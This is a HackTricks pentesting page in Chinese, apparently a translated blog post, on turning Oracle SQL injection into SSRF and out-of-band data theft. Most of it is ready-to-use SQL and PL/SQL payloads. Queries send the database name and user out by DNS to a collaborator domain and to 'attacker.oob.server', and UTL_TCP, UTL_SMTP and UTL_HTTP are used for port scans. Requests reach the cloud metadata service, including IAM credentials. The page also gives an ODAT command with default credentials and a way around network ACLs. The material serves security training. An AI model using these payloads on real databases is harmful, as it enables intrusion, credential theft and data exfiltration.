Oracle injection
Reading time: 13 minutes
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
为这篇文章提供一个来自 https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/ 的已删除文章的时光机副本。
SSRF
使用 Oracle 进行带外 HTTP 和 DNS 请求的文档非常丰富,但作为在注入中提取 SQL 数据的一种手段。我们总是可以修改这些技术/函数以执行其他 SSRF/XSPA。
安装 Oracle 可能非常痛苦,特别是如果你想快速设置一个实例来尝试命令。我的朋友和同事在 Appsecco 的 Abhisek Datta 指向了 https://github.com/MaksymBilenko/docker-oracle-12c,这让我能够在 t2.large AWS Ubuntu 机器和 Docker 上设置一个实例。
我使用 --network="host"
标志运行 docker 命令,以便在这篇博客文章的过程中模拟 Oracle 作为一个具有完全网络访问权限的本地安装。
docker run -d --network="host" quay.io/maksymbilenko/oracle-12c
支持 URL 或主机/端口号规范的 Oracle 包
为了找到支持主机和端口规范的任何包和函数,我在 Oracle Database Online Documentation 上进行了 Google 搜索。具体来说,
site:docs.oracle.com inurl:"/database/121/ARPLS" "host"|"hostname" "port"|"portnum"
搜索返回了以下结果(并非所有结果都可以用于执行出站网络)
- DBMS_NETWORK_ACL_ADMIN
- UTL_SMTP
- DBMS_XDB
- DBMS_SCHEDULER
- DBMS_XDB_CONFIG
- DBMS_AQ
- UTL_MAIL
- DBMS_AQELM
- DBMS_NETWORK_ACL_UTILITY
- DBMS_MGD_ID_UTL
- UTL_TCP
- DBMS_MGWADM
- DBMS_STREAMS_ADM
- UTL_HTTP
这个粗略的搜索显然跳过了像 DBMS_LDAP
这样的包(它允许传递主机名和端口号),因为文档页面只是将您指向不同的位置。因此,可能还有其他可以被滥用以进行出站请求的Oracle包,我可能遗漏了。
无论如何,让我们看看我们发现并列出的某些包。
DBMS_LDAP.INIT
DBMS_LDAP
包允许访问LDAP服务器中的数据。init()
函数初始化与LDAP服务器的会话,并将主机名和端口号作为参数。
这个函数之前已经被记录下来,显示通过DNS进行数据外泄,如下所示。
SELECT DBMS_LDAP.INIT((SELECT version FROM v$instance)||'.'||(SELECT user FROM dual)||'.'||(select name from V$database)||'.'||'d4iqio0n80d5j4yg7mpu6oeif9l09p.burpcollaborator.net',80) FROM dual;
然而,由于该函数接受主机名和端口号作为参数,您可以利用这一点使其像端口扫描器一样工作。
以下是一些示例
SELECT DBMS_LDAP.INIT('scanme.nmap.org',22) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',25) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',80) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',8080) FROM dual;
ORA-31203: DBMS_LDAP: PL/SQL - Init Failed.
表示端口关闭,而会话值指向端口为开放状态。
UTL_SMTP
UTL_SMTP
包用于通过 SMTP 发送电子邮件。 Oracle 文档网站上提供的示例展示了如何使用此包发送电子邮件。 然而,对我们来说,值得关注的是提供主机和端口规范的能力。
下面是一个粗略的示例,使用 UTL_SMTP.OPEN_CONNECTION
函数,超时为 2 秒。
DECLARE c utl_smtp.connection;
BEGIN
c := UTL_SMTP.OPEN_CONNECTION('scanme.nmap.org',80,2);
END;
DECLARE c utl_smtp.connection;
BEGIN
c := UTL_SMTP.OPEN_CONNECTION('scanme.nmap.org',8080,2);
END;
ORA-29276: transfer timeout
表示端口开放但未建立 SMTP 连接,而 ORA-29278: SMTP transient error: 421 Service not available
表示端口关闭。
UTL_TCP
UTL_TCP
包及其过程和函数允许与服务进行 基于 TCP/IP 的通信。如果为特定服务编程,此包可以轻松成为进入网络的途径或执行完整的服务器端请求,因为可以控制 TCP/IP 连接的所有方面。
Oracle 文档网站上的示例 展示了如何使用此包建立原始 TCP 连接以获取网页。我们可以稍微简化一下,使用它向元数据实例或任意 TCP/IP 服务发出请求。
set serveroutput on size 30000;
SET SERVEROUTPUT ON
DECLARE c utl_tcp.connection;
retval pls_integer;
BEGIN
c := utl_tcp.open_connection('169.254.169.254',80,tx_timeout => 2);
retval := utl_tcp.write_line(c, 'GET /latest/meta-data/ HTTP/1.0');
retval := utl_tcp.write_line(c);
BEGIN
LOOP
dbms_output.put_line(utl_tcp.get_line(c, TRUE));
END LOOP;
EXCEPTION
WHEN utl_tcp.end_of_input THEN
NULL;
END;
utl_tcp.close_connection(c);
END;
/
DECLARE c utl_tcp.connection;
retval pls_integer;
BEGIN
c := utl_tcp.open_connection('scanme.nmap.org',22,tx_timeout => 4);
retval := utl_tcp.write_line(c);
BEGIN
LOOP
dbms_output.put_line(utl_tcp.get_line(c, TRUE));
END LOOP;
EXCEPTION
WHEN utl_tcp.end_of_input THEN
NULL;
END;
utl_tcp.close_connection(c);
END;
有趣的是,由于能够构造原始 TCP 请求,这个包也可以用于查询所有云提供商的实例元数据服务,因为方法类型和附加头都可以在 TCP 请求中传递。
UTL_HTTP 和 Web 请求
也许在所有的离带 Oracle SQL 注入教程中,最常见和广泛记录的技术是 UTL_HTTP
package。文档中将这个包定义为 - The UTL_HTTP package makes Hypertext Transfer Protocol (HTTP) callouts from SQL and PL/SQL. You can use it to access data on the Internet over HTTP.
select UTL_HTTP.request('http://169.254.169.254/latest/meta-data/iam/security-credentials/adminrole') from dual;
您还可以使用此功能执行一些基本的端口扫描,例如使用以下查询:
select UTL_HTTP.request('http://scanme.nmap.org:22') from dual;
select UTL_HTTP.request('http://scanme.nmap.org:8080') from dual;
select UTL_HTTP.request('http://scanme.nmap.org:25') from dual;
ORA-12541: TNS:no listener
或 TNS:operation timed out
是 TCP 端口关闭的迹象,而 ORA-29263: HTTP protocol error
或数据则是端口开放的迹象。
我过去使用过的另一个包,成功率各异,是 GETCLOB()
方法的 HTTPURITYPE
Oracle 抽象类型,它允许您与 URL 交互并支持 HTTP 协议。GETCLOB()
方法用于将 URL 的 GET 响应作为 CLOB 数据类型 获取。
SELECT HTTPURITYPE('http://169.254.169.254/latest/meta-data/instance-id').getclob() FROM dual;
额外的包和技术 (Oracle 19c → 23c)
UTL_INADDR – 基于DNS的外泄和主机发现
UTL_INADDR
提供简单的名称解析助手,触发来自数据库主机的外部DNS查找。因为只需要一个域名(不需要端口/ACL),它在其他网络调用被阻止时,是一个可靠的盲外泄原语。
-- Leak the DB name and current user via a DNS query handled by Burp Collaborator
SELECT UTL_INADDR.get_host_address(
(SELECT name FROM v$database)||'.'||(SELECT user FROM dual)||
'.attacker.oob.server') FROM dual;
get_host_address()
返回解析后的 IP(如果解析失败则引发 ORA-29257
)。攻击者只需监视受控域上的传入 DNS 请求以确认代码执行。
DBMS_CLOUD.SEND_REQUEST – Autonomous/23c 上的完整 HTTP 客户端
最近的云中心版本(Autonomous Database, 21c/23c, 23ai)附带 DBMS_CLOUD
。SEND_REQUEST
函数充当通用 HTTP 客户端,支持自定义动词、头部、TLS 和大体积数据,使其比经典的 UTL_HTTP
更强大。
-- Assuming the current user has CREATE CREDENTIAL and network ACL privileges
BEGIN
-- empty credential when no auth is required
DBMS_CLOUD.create_credential(
credential_name => 'NOAUTH',
username => 'ignored',
password => 'ignored');
END;
/
DECLARE
resp DBMS_CLOUD_TYPES.resp;
BEGIN
resp := DBMS_CLOUD.send_request(
credential_name => 'NOAUTH',
uri => 'http://169.254.169.254/latest/meta-data/',
method => 'GET',
timeout => 3);
dbms_output.put_line(DBMS_CLOUD.get_response_text(resp));
END;
/
因为 SEND_REQUEST
允许任意目标 URI,因此可以通过 SQLi 滥用来:
- 内部端口扫描 / SSRF 到云元数据服务。
- 通过 HTTPS 进行带外数据泄露(使用 Burp Collaborator 或
ngrok
隧道)。 - 即使在 ACL 禁用旧的回调包时,也可以回调攻击者服务器。
ℹ️ 如果您只有经典的本地 19c,但可以创建 Java 存储过程,您有时可以从 OCI 客户端包中安装 DBMS_CLOUD
— 在某些参与中非常有用。
使用 ODAT 自动化攻击面
ODAT – Oracle Database Attacking Tool 与现代版本保持同步(测试到 19c,5.1.1 – 2022 年 4 月)。 –utl_http
、–utl_tcp
、–httpuritype
和更新的 –dbms_cloud
模块自动:
- 检测可用的回调包/ACL 授权。
- 触发 DNS 和 HTTP 回调以进行盲提取。
- 生成可供 Burp/SQLMap 复制的 SQL 有效负载。
示例:使用默认凭据快速进行 OOB 检查(在后台处理 ACL 枚举):
odat all -s 10.10.10.5 -p 1521 -d XE -U SCOTT -P tiger --modules oob
最近的网络 ACL 限制与绕过
Oracle 在 2023 年 7 月的 CPU 中收紧了默认的网络 ACL — 默认情况下,非特权账户现在会收到 ORA-24247: network access denied by access control list
。 仍然有两种模式允许通过 SQLi 进行调用:
- 目标账户拥有一个由开发人员为集成添加的 ACL 条目 (
DBMS_NETWORK_ACL_ADMIN.create_acl
)。 - 攻击者利用一个具有高权限的 PL/SQL 定义者权限例程(例如,在自定义应用程序中),该例程 已经 具有
AUTHID DEFINER
和必要的授权。
如果在利用过程中遇到 ORA-24247
,请始终搜索可重用的过程:
SELECT owner, object_name
FROM dba_objects
WHERE object_type = 'PROCEDURE'
AND authid = 'DEFINER';
(在许多审计中,至少有一个报告/导出程序具有所需的权限)。
参考
- Oracle 文档 –
DBMS_CLOUD.SEND_REQUEST
包描述和示例。 - quentinhardy/odat – Oracle 数据库攻击工具(最新版本 5.1.1,2022年4月)。
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。